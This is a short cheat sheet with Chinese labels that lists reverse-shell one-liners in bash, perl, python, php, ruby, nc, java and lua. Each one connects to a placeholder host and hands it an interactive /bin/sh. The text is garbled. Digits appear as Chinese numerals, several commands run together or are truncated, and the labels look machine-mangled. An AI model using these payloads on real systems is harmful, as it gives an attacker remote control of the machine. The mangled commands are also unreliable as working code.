bash敕令 ：bash -i >& /dev/tcp/ 一0.0.0. 一/ 八0 八0 0>& 一

perl版原：perl -e 'use Socket;$i=" 一0.0.0. 一";$p= 一 二 三 四;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

python版原：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" 一0.0.0. 一", 一 二 三 四));os.dup 二(s.fileno(),0); os.dup 二(s.fileno(), 一); os.dup 二(s.fileno(), 二);p=subprocess.call(["/bin/sh","-i"]);'

php版原：php -r '$sock=fsockopen(" 一0.0.0. 一", 一 二 三 四);exec("/bin/sh -i & 三  二>& 三");'

ruby版原：ruby -rsocket -e'f=TCPSocket.open(" 一0.0.0. 一", 一 二 三 四).to_i;exec sprintf("/bin/sh -i &%d  二>&%d",f,f,f)'

nc 版原：nc -e /bin/sh  一0.0.0. 一  一 二 三 四rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i  二>& 一|nc  一0.0.0. 一  一 二 三 四 >/tmp/fnc x.x.x.x  八 八 八 八|/bin/sh|nc x.x.x.x  九 九 九 九

java 版原：r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec  五/dev/tcp/ 一0.0.0. 一/ 二00 二;cat & 五 >& 五; done"] as String[])p.waitFor()

lua版原：lua -e "require('socket');require('os');t=socket.tcp();t:connect(' 一0.0.0. 一',' 一 二 三 四');os.execute('/bin/sh -i & 三  二>& 三');"